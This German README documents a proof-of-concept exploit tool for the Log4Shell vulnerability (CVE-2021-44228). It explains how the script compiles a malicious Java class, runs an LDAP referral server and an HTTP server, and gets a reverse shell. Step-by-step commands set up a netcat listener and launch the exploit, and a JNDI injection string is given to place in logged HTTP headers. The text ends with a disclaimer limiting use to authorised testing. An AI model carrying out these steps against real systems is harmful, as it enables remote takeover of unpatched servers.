
Ein Proof-of-Concept für die Schwachstelle CVE-2021-44228.
Proof-of-Concept-Exploit für die Log4j-Sicherheitslücke (CVE-2021-44228), auch bekannt als Log4Shell. Dieses Tool generiert eine bösartige Java-Klasse, startet einen LDAP-Referral-Server und stellt das Payload über HTTP bereit, wodurch ein entfernter Angreifer beliebige Befehle auf einem verwundbaren Ziel ausführen kann.
poc.py befinden:
jdk1.8.0_20/ – eine Kopie des Oracle JDK 1.8.0_20 (enthält bin/javac und bin/java). Falls nicht vorhanden, versucht das Skript, die systemeigenen javac- und -Befehle zu verwenden.javatarget/marshalsec-0.0.3-SNAPSHOT-all.jar – die Marshalsec-JAR-Datei, die zum Starten des LDAP-Servers verwendet wird.jdk1.8.0_20 und die marshalsec-JAR wie oben beschrieben.pip install -r requirements.txt
Führen Sie das Skript mit Python aus:
python3 poc.py [OPTIONS]
| Argument | Typ | Standard | Beschreibung |
|---|---|---|---|
--userip | string | automatisch erkannte IPv4 | IP-Adresse, an die sich die LDAP- und HTTP-Server binden und die sie bewerben. Diese muss vom Zielsystem aus erreichbar sein. |
--webport | integer | 8000 | Port für den HTTP-Server, der die kompilierte Exploit.class ausliefert. |
--lport | integer | 9001 | Port, an dem Ihr Netcat-Listener auf die Reverse-Shell wartet. Das Payload verbindet sich zurück zu userip:lport. |
Starten Sie einen Netcat-Listener auf Ihrem Angreifer-System (ersetzen Sie 9001 durch den von Ihnen gewählten Port):
nc -lvnp 9001
Führen Sie den Exploit aus:
python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
Wenn Sie --userip weglassen, verwendet das Skript automatisch die primäre IPv4-Adresse Ihres Systems.
Das Skript zeigt eine Payload-Zeichenkette an, die in das verwundbare Ziel injiziert werden kann, zum Beispiel:
${jndi:ldap://192.168.1.10:1389/a}
Injizieren Sie diese Zeichenkette in ein beliebiges Eingabefeld oder einen HTTP-Header, der von einer verwundbaren Log4j-Instanz protokolliert wird (z. B. User-Agent, X-Forwarded-For usw.). Das Ziel verbindet sich mit dem LDAP-Server, ruft die bösartige Klasse vom HTTP-Server ab und führt die Reverse-Shell aus.
Sie sollten eine Shell-Verbindung in Ihrem Netcat-Listener sehen.
Exploit.java, das Code zum Öffnen einer Reverse-Shell zu userip:lport enthält.javac).webport, um die kompilierte Exploit.class zu hosten./bin/sh und ist für Unix-ähnliche Zielsysteme gedacht. Für Windows-Ziele müssten Sie den Befehl in Exploit.java anpassen.webport und lport) erlauben und dass das Ziel Ihr System erreichen kann.Das Skript entfernt Exploit.java und Exploit.class automatisch, wenn es beendet wird (entweder normal oder nach einem KeyboardInterrupt). Wenn Sie die Dateien zum Debuggen behalten müssen, kommentieren Sie den finally-Block in poc.py aus.
Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests gedacht. Die unbefugte Verwendung dieses Exploits gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben, ist illegal. Die Autoren sind nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.